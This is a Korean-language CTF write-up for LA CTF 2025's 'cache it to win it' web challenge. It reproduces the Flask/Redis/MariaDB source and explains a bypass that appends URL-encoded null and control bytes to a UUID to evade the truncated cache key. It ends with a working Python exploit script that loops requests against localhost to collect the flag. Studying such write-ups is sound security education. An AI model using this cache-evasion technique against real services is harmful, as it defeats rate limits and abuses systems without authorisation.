c4
ch4nsec.kr
writeups by ch4nsec

[LA CTF 2025] cache it to win it

LA CTF 2025에서 출제된 cache it to win it 문제 풀이

#ctf#web#cache#LA CTF

문제 개요

lactf_cache_it_to_win_it1
메인 페이지

메인 페이지에 들어가면 ID를 발급해준다.

그리고 링크를 타고 들어가면

lactf_cache_it_to_win_it2
/check 페이지

이 짓을 100번 더하면 된다고 하는데, 다음 시도가 1주일 뒤에 가능하다.

cache 로직을 우회해서 같은 id로 100회 시도하면 성공

코드

app.py

from flask import Flask, request, jsonify, g, Blueprint, Response, redirect
import uuid
from flask_caching import Cache
import os
import mariadb
import datetime

app = Flask(__name__)

# Configure caching (simple in-memory cache)
app.config["CACHE_TYPE"] = "RedisCache"
app.config["CACHE_REDIS_HOST"] = os.getenv("CACHE_REDIS_HOST", "redis")
app.config["CACHE_DEFAULT_TIMEOUT"] = 604800  # Cache expires in 7 days
cache = Cache(app)


def get_db_connection():
    try:
        conn = mariadb.connect(
            host=os.getenv("DATABASE_HOST"),
            user=os.getenv("DATABASE_USER"),
            password=os.getenv("DATABASE_PASSWORD"),
            database=os.getenv("DATABASE_NAME"),
        )
        return conn
    except mariadb.Error as e:
        return {"error": str(e)}


# I'm lazy to do this properly, so enjoy this ChatGPT'd run_query function!
def run_query(query, params=None):
    conn = get_db_connection()
    if isinstance(conn, dict):
        return conn

    try:
        cursor = conn.cursor(dictionary=True)
        cursor.execute(query, params or ())

        conn.commit()
        result = {
            "success": True,
            "affected_rows": cursor.rowcount,
            "result": cursor.fetchall(),
        }

        return result
    except mariadb.Error as e:
        print("ERROR:", e, flush=True)
        return {"error": str(e)}
    finally:
        cursor.close()
        conn.close()


@app.route("/")
def index():
    if "id" not in request.cookies:
        unique_id = str(uuid.uuid4())
        run_query("INSERT INTO users VALUES (%s, %s);", (unique_id, 0))
    else:
        unique_id = request.cookies.get("id")
        res = run_query("SELECT * FROM users WHERE id = %s;", (unique_id,))
        print(res, flush=True)
        if "affected_rows" not in res:
            print("ERRROR:", res)
            return "ERROR"
        if res["affected_rows"] == 0:
            unique_id = str(uuid.uuid4())
            run_query("INSERT INTO users VALUES (%s, %s);", (unique_id, 0))

    html = f"""
    <!DOCTYPE html>
    <html>
    <head>
        <title>{unique_id}</title>
    </head>
    <body>
        <h1>Your unique account ID: {unique_id}</h1>
        <p><a href="/check?uuid={unique_id}">Click here to check if you are a winner!</a></p>
    </body>
    </html>
    """
    r = Response(html)
    r.set_cookie("id", unique_id)
    return r


def normalize_uuid(uuid: str):
    uuid_l = list(uuid)
    i = 0
    for i in range(len(uuid)):
        uuid_l[i] = uuid_l[i].upper()
        if uuid_l[i] == "-":
            uuid_l.pop(i)
            uuid_l.append(" ")

    return "".join(uuid_l)


def make_cache_key():
    return f"GET_check_uuids:{normalize_uuid(request.args.get('uuid'))}"[:64]  # prevent spammers from filling redis cache


check_bp = Blueprint("check_bp", __name__)


@check_bp.route("/check")
@cache.cached(timeout=604800, make_cache_key=make_cache_key)
def check():
    user_uuid = request.args.get("uuid")
    if not user_uuid:
        return {"error": "UUID parameter is required"}, 400

    run_query("UPDATE users SET value = value + 1 WHERE id = %s;", (user_uuid,))
    res = run_query("SELECT * FROM users WHERE id = %s;", (user_uuid,))
    g.cache_hit = False
    if "affected_rows" not in res:
        print("ERRROR:", res)
        return "Error"
    if res["affected_rows"] == 0:
        return "Invalid account ID"
    num_wins = res["result"][0]["value"]
    if num_wins >= 100:
        return f"""CONGRATS! YOU HAVE WON.............. A FLAG! {os.getenv("FLAG")}"""
    return f"""<p>Congrats! You have won! Only {100 - res["result"][0]["value"]} more wins to go.</p>
    <p>Next attempt allowed at: {(datetime.datetime.now() + datetime.timedelta(days=7)).isoformat(sep=" ")} UTC</p><p><a href="/">Go back to the homepage</a></p>"""


# Hack to show to the user in the X-Cached header whether or not the response was cached
# How in the world does the flask caching library not support adding this header?????
@check_bp.after_request
def add_cache_header(response):
    if hasattr(g, "cache_hit") and not g.cache_hit:
        response.headers["X-Cached"] = "MISS"
    else:
        response.headers["X-Cached"] = "HIT"

    g.cache_hit = True

    return response


app.register_blueprint(check_bp)


# Debugging use for dev - remove before prod
# @app.route("/clear")
# def clear():
#     cache.clear()
#     return "cache cleared!"


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

풀이

발목을 잡는 부분은 /check 페이지 부분이다.

def make_cache_key():
    return f"GET_check_uuids:{normalize_uuid(request.args.get('uuid'))}"[:64]  # prevent spammers from filling redis cache
    #uuid를 파라미터에서 따온다. 근데 uuid가 36바이트인데 왜 64바이트씩이나?
    
# cache는 redis를 쓴다.
@check_bp.route("/check")
@cache.cached(timeout=604800, make_cache_key=make_cache_key)
def check():
    user_uuid = request.args.get("uuid")
    if not user_uuid:
        return {"error": "UUID parameter is required"}, 400

    run_query("UPDATE users SET value = value + 1 WHERE id = %s;", (user_uuid,)) # 얘는 mariaDB 기반이다.
    res = run_query("SELECT * FROM users WHERE id = %s;", (user_uuid,))
    g.cache_hit = False
    if "affected_rows" not in res:
        print("ERRROR:", res)
        return "Error"
    if res["affected_rows"] == 0:
        return "Invalid account ID"
    num_wins = res["result"][0]["value"]
    if num_wins >= 100:
        return f"""CONGRATS! YOU HAVE WON.............. A FLAG! {os.getenv("FLAG")}"""
    return f"""<p>Congrats! You have won! Only {100 - res["result"][0]["value"]} more wins to go.</p>
    <p>Next attempt allowed at: {(datetime.datetime.now() + datetime.timedelta(days=7)).isoformat(sep=" ")} UTC</p><p><a href="/">Go back to the homepage</a></p>"""


# Hack to show to the user in the X-Cached header whether or not the response was cached
# How in the world does the flask caching library not support adding this header?????
@check_bp.after_request
def add_cache_header(response):
    if hasattr(g, "cache_hit") and not g.cache_hit:
        response.headers["X-Cached"] = "MISS"
    else:
        response.headers["X-Cached"] = "HIT"

    g.cache_hit = True

    return response

cache miss를 유발하려면 다른 id여야 한다. 그런데 id값이 다르면 카운트가 올라가지 않는다.

그러면 mariaDB가 인식 못하는 무언가를 id값에 넣어보면 cache를 피하면서 기존의 id의 카운트를 올릴 수 있지 않을까? 라는 가설

아무래도 가장 인식 못할 것 같은 글자는 null바이트다.

lactf_cache_it_to_win_it3
정상적인 요청
lactf_cache_it_to_win_it4
파라미터에 NULL 바이트 삽입 시도. URL encoding이니 %00

2회 카운트가 됐다. 그러면 null 바이트를 하나씩 붙여가면서 요청하면 100회가..

안된다. cache key에 쓰려고 파라미터를 따올 때 64바이트만 가져온다. 그래서

lactf_cache_it_to_win_it5

17회가 최대다. 83회가 모자라다.

그러면 null바이트 말고 뭔가 더 써먹을 수 있을 거다.

lactf_cache_it_to_win_it6

대충 찾아보니 %09를 제외하고는 %20까지 문제가 없다. %21부터는 특수문자라 문제가 생길 게 뻔해서 안썼다. (참고로 %09는 TAB이다.) (그리고 사실 16진수로 0020을 돌려야되는데 10진수로 0020을 돌렸다. 근데 이정도로 충분하길래 냅뒀다.)

이를 참고해서 100가지 이상 요청을 보내는 exploit 코드를 짜면 아래와 같다.

import requests

target = "http://localhost:5000"

# id 따오기
response = requests.get(f"{target}")
id = response.cookies['id']
print(id)

for i in range(1, 7): # 대충 20*6하면 수는 충분하다
    for j in range(0, 21):
        if j == 9: # 사실 얘도 안써도 상관없다. 에러나도 카운트 안세면 그만이지
            continue
        fakebytes = f"%{j:02}" * i
        url = f"{target}/check?uuid={id}{fakebytes}"
        response = requests.get(url, cookies={"id": id})
        #print(url)
        if "FLAG" in response.text:
            print(response.text)
            break
        else:
            continue
lactf_cache_it_to_win_it7

이렇게 flag 획득이 가능하다.

블로그 목록으로